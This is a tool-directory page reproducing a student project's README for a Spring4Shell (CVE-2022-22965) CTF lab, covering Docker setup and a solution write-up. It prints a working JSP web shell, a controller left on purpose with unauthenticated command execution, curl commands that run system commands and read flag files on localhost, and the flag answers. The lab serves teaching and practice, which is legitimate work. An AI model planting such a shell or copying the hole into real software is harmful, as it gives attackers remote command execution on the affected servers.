Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) 취약점 환경 구축 및 CTF 문제 | Kitploit
도구/GitHubGitHub/yuting-huang0/spring4shell-ctf
Dynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRemote Access ToolLabs & Practice
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) 취약점 환경 구축 및 CTF 문제

62개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

Spring4Shell (CVE-2022-22965) 취약점 환경 구축 및 CTF 문제 설계

프로젝트 소개

본 프로젝트는 두 가지 트랙으로 구성된 보안 연구 실습을 포함합니다:

  1. 기존 Vulhub 환경 구축: 오픈소스 Vulhub 취약점 라이브러리를 활용하여 구버전 Spring 프레임워크의 객체 바인딩 결함을 신속하게 재현합니다.
  2. 신규 맞춤형 환경 개발: 팀원들이 Java 소스 코드를 직접 작성하여 '학생 기말 프로젝트 성과 발표 시스템'을 취약점 타깃 머신으로 자체 구축하고, 표준 네트워크 침투 테스트 절차에 맞춰 CTF 양방향 트랙(출제자와 문제 풀이자) 스테이지를 설계합니다.

참가자는 원격 코드 실행(RCE) 취약점을 통해 단서를 따라 시스템 루트 디렉터리 또는 임시 디렉터리에 있는 Flag를 읽게 됩니다.


환경 구축 단계

기본 준비: Docker 및 Docker Compose 설치

root@kitploit:~
# 更新套件庫
sudo apt update

# 安裝 Docker 與 Docker Compose
sudo apt install docker.io docker-compose -y

# 啟動 Docker 服務
sudo systemctl start docker
sudo systemctl enable docker

트랙 1: Vulhub 취약점 환경 다운로드 및 시작 (기존 구현)

root@kitploit:~
# 下載 Vulhub 專案
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# 進入 Spring4Shell 漏洞目錄
cd vulhub/spring/CVE-2022-22965

# 啟動 Docker 容器
sudo docker-compose up -d

# 確認容器正常運行
sudo docker ps

Vulhub 환경 검증

브라우저를 열어 http://localhost:8080/?name=Hacker&age=99에 접속합니다.

트랙 2: 맞춤형 환경 구축 및 소스 코드 배포 (신규 구현)

맹목적인 추측 풀이를 배제하고 자체 개발 상황을 재현하기 위해, 본 프로젝트는 독립된 Spring4Shell-Custom-CTF 프로젝트를 생성합니다. 환경을 완전히 정리한 후, 캐시 없이 컴파일하여 시작합니다:

root@kitploit:~
# 清理舊環境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# 建立專案目錄結構並生成全自製 Java 原始碼(含 pom.xml、UserController.java 等)
# 透過雙階段編譯(Maven + Tomcat 9)將自製 Flag 精確放置於系統根目錄 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# 確認自製靶機容器正常運行
sudo docker ps

제어 채널 및 백도어 파일 메커니즘

메커니즘 1: JSP 백도어 파일 작성 (Vulhub 기존 체인)

공격에 성공하면 백도어 파일이 webapps/ROOT/tomcatwar.jsp에 작성되며 그 내용은 다음과 같습니다:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

메커니즘 2: 내장 핵심 취약점 컨트롤러 (자체 제작 환경의 신규 체인)

자체 제작한 UserController.java에는 의도적으로 POJO 객체 바인딩 방어 결함이 남겨져 있으며, 비인가 명령 주입 채널이 내장되어 있습니다:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // 直接調用 Java Runtime 執行底層命令並回傳結果
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... 讀取串流邏輯 ...
    }
    return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}

원격 코드 실행(RCE) 검증

1. id 명령 실행

root@kitploit:~
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# 自製環境控制路徑
curl "http://localhost:8080/?cmd=id"

2. 디렉터리 탐색 명령 실행

root@kitploit:~
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# 自製環境控制路徑
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

CTF 문제 설명

문제 1: Spring4Shell 취약점 활용 (기존 구현)

  • 문제 이름: Spring4Shell 취약점 활용
  • Flag 위치: /tmp/flag.txt
  • Flag 내용: FLAG{Spring4Shell_Is_Dangerous}

문제 2: 정보관리학과의 기말 보안 시험 (신규 구현)

  • 문제 이름: 정보관리학과의 기말 보안 시험
  • 대상 시스템 URL: http://localhost:8080/
  • 문제 공지 및 알려진 정보: 본 플랫폼은 학생들이 직접 개발한 Spring MVC 프로젝트로, 하위 프레임워크 버전에 객체 바인딩 결함(User 객체 유형 포함)이 존재합니다. Flag는 서버 시스템 루트 디렉터리에 있습니다.
  • Flag 위치: /flag.txt
  • Flag 내용: FLAG{2026_0615_iwanttosleep}

Write-up 문제 풀이 및 침투 단계

기존 Vulhub 취약점 활용 절차

  • 1단계: http://<target>:8080/?name=test&age=123에 접속하여 매개변수 바인딩 기능이 정상인지 확인합니다.
  • 2단계: POST 요청 페이로드를 전송하여 Tomcat 로그 구성을 수정하고 tomcatwar.jsp 백도어를 강제로 작성합니다.
  • 3단계: http://<target>:8080/tomcatwar.jsp?cmd=id에 접속하여 RCE 성공을 확인합니다.
  • 4단계: curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt"를 실행하여 임시 디렉터리의 파일을 읽습니다.

신규 구현: 표준 네트워크 침투 테스트 5단계

문제 풀이자(역할 B)는 출제자가 제공한 알려진 정보 공지를 바탕으로 추측성 맹목 풀이를 배제하고 표준화된 절차를 수행합니다:

  • 1단계: 환경 정찰 및 서비스 활성 확인 대상 웹 서비스의 활성 여부와 웹페이지 작동 상태를 확인합니다.
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • 2단계: 경계 취약점 및 객체 결함 테스트 테스트 매개변수를 전달하여 권한을 초과해 악용할 수 있는 명령 주입 경계 결함이 존재하는지 검증합니다.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • 3단계: 취약점 활용 및 핵심 권한 확인 신원 조회를 실행하여 운영체제 최고 제어권인 root 신분을 획득했는지 확인합니다.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • 4단계: 내부 환경 점검 및 파일 탐색 Linux 시스템 루트 디렉터리를 점검하여 대상 파일의 실제 위치를 정확히 파악합니다.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • 5단계: 최종 증거 확보 및 Flag 추출 읽기 명령을 실행하여 지정된 Flag 내용을 성공적으로 추출합니다.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

프로젝트 구조

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # 專案說明文件
├── docker-compose.yml          # 容器編排配置文件
├── Dockerfile                  # 雙階段編譯映像檔設定
├── pom.xml                     # Maven 專案設定檔
├── src/                        # 自製 Java 成果展示系統原始碼
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # 本地 Flag 來源檔案
├── screenshots/                # 成果展示與攻擊截圖
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # 舊版後門檔案原始碼

참고 자료

  • CVE-2022-22965 상세 분석
  • Vulhub Spring4Shell 환경
  • Spring4Shell PoC

팀 구성원

역할이름작업 내용
팀원 A황위팅환경 구축, 전체 프로젝트 Java 소스 코드 작성, Docker 패키징, CTF 표준 5단계 문제 풀이
팀원 B리진린이론 연구, 프레젠테이션 제작, 보고 영상 편집, 풀이 대본 정리

라이선스

본 프로젝트는 교육 및 연구 목적으로만 사용하십시오. 승인되지 않은 시스템에는 사용하지 마십시오.

root@kitploit:~
도구 다운로드